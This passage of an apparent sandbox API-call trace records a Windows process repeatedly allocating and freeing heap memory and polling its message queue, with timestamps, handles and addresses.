dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f228 | out: hHeap=0x5010000) returned 1 [0113.282] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.282] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.283] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.285] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.285] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.286] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.286] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.288] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] 